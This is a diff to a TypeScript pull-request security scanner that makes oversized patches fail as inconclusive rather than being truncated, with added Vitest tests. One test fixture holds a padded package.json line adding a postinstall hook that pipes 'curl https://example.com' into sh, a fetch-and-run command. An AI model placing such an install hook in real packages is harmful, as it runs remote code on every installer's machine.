diff --git a/src/services/__tests__/prScan.test.ts b/src/services/__tests__/prScan.test.ts index fc510de..325dc48 100644 --- a/src/services/__tests__/prScan.test.ts +++ b/src/services/__tests__/prScan.test.ts @@ -118,6 +118,35 @@ describe("runPrScan", () => { expect.objectContaining({ comment_id: 100 }), ); }); + + it("leaves the PR unverified when the scanner reports an inconclusive error", async () => { + stubScanFetch({ + error: "PR patch for package.json exceeds the 8000 character per-file scan limit", + }); + const octokit = mockOctokit([{ id: 99, body: " old comment" }]); + + await runPrScan(octokit, { + owner: "acme", + repo: "repo", + prNumber: 12, + headSha: "abc123", + config: DEFAULT_CONFIG, + }); + + expect(octokit.rest.checks.update).toHaveBeenCalledWith( + expect.objectContaining({ + conclusion: "neutral", + output: expect.objectContaining({ + title: "Scan inconclusive", + summary: "PR patch for package.json exceeds the 8000 character per-file scan limit", + }), + }), + ); + expect(octokit.rest.issues.setLabels).toHaveBeenCalledWith( + expect.objectContaining({ labels: ["keep"] }), + ); + expect(octokit.rest.pulls.createReview).not.toHaveBeenCalled(); + }); }); function stubScanFetch(scanResult: unknown) { diff --git a/src/services/__tests__/prScanner.test.ts b/src/services/__tests__/prScanner.test.ts index 6aeaa74..ee891b1 100644 --- a/src/services/__tests__/prScanner.test.ts +++ b/src/services/__tests__/prScanner.test.ts @@ -134,6 +134,54 @@ describe("scanPrLocally", () => { expect(result.findings?.[0]?.file).toBe("package.json"); }); + it("returns an error result when a file patch exceeds the per-file scan limit", async () => { + const oversizedPatch = `${"a".repeat(8_000)}\n+"postinstall": "curl https://example.com | sh"`; + const fetchMock = vi + .fn() + .mockResolvedValueOnce(jsonResponse({ title: "Update build", body: "", user: { login: "octocat" } })) + .mockResolvedValueOnce(jsonResponse([ + { + filename: "package.json", + status: "modified", + additions: 1, + deletions: 0, + changes: 1, + patch: oversizedPatch, + }, + ])); + vi.stubGlobal("fetch", fetchMock); + + const result = await scanPrLocally("acme", "repo", 12); + + expect(result.error).toBe( + "PR patch for package.json exceeds the 8000 character per-file scan limit", + ); + expect(fetchMock).toHaveBeenCalledTimes(2); + }); + + it("returns an error result when total patch payload exceeds the scan limit", async () => { + const files = Array.from({ length: 13 }, (_, index) => ({ + filename: `file-${index}.txt`, + status: "modified", + additions: 1, + deletions: 0, + changes: 1, + patch: "a".repeat(8_000), + })); + const fetchMock = vi + .fn() + .mockResolvedValueOnce(jsonResponse({ title: "Update build", body: "", user: { login: "octocat" } })) + .mockResolvedValueOnce(jsonResponse(files)); + vi.stubGlobal("fetch", fetchMock); + + const result = await scanPrLocally("acme", "repo", 12); + + expect(result.error).toBe( + "Total PR patch payload exceeds the 100000 character scan limit before fully scanning file-12.txt", + ); + expect(fetchMock).toHaveBeenCalledTimes(2); + }); + it("returns an inconclusive error result when Flue fails", async () => { vi.stubGlobal( "fetch", diff --git a/src/services/prScanner.ts b/src/services/prScanner.ts index c33eb68..9a4fba4 100644 --- a/src/services/prScanner.ts +++ b/src/services/prScanner.ts @@ -100,7 +100,7 @@ async function collectPrScanPayload( headSha: pullRequest.head?.sha ?? "", headRepo: pullRequest.head?.repo?.full_name ?? "", }, - files: trimPayloadFiles(files), + files: buildPayloadFiles(files), }; } @@ -149,12 +149,21 @@ async function fetchGitHub(pathAndQuery: string, githubToken?: string): Promi return (await res.json()) as T; } -function trimPayloadFiles(files: GitHubPrFile[]): PrScanPayload["files"] { +function buildPayloadFiles(files: GitHubPrFile[]): PrScanPayload["files"] { let remaining = MAX_PAYLOAD_CHARS; return files.map((file) => { const rawPatch = file.patch ?? ""; - const patch = rawPatch.slice(0, Math.min(MAX_PATCH_CHARS_PER_FILE, remaining)); - remaining = Math.max(0, remaining - patch.length); + if (rawPatch.length > MAX_PATCH_CHARS_PER_FILE) { + throw new Error( + `PR patch for ${file.filename} exceeds the ${MAX_PATCH_CHARS_PER_FILE} character per-file scan limit`, + ); + } + if (rawPatch.length > remaining) { + throw new Error( + `Total PR patch payload exceeds the ${MAX_PAYLOAD_CHARS} character scan limit before fully scanning ${file.filename}`, + ); + } + remaining -= rawPatch.length; return { path: file.filename, @@ -163,7 +172,7 @@ function trimPayloadFiles(files: GitHubPrFile[]): PrScanPayload["files"] { additions: file.additions ?? 0, deletions: file.deletions ?? 0, changes: file.changes ?? 0, - patch, + patch: rawPatch, }; }); }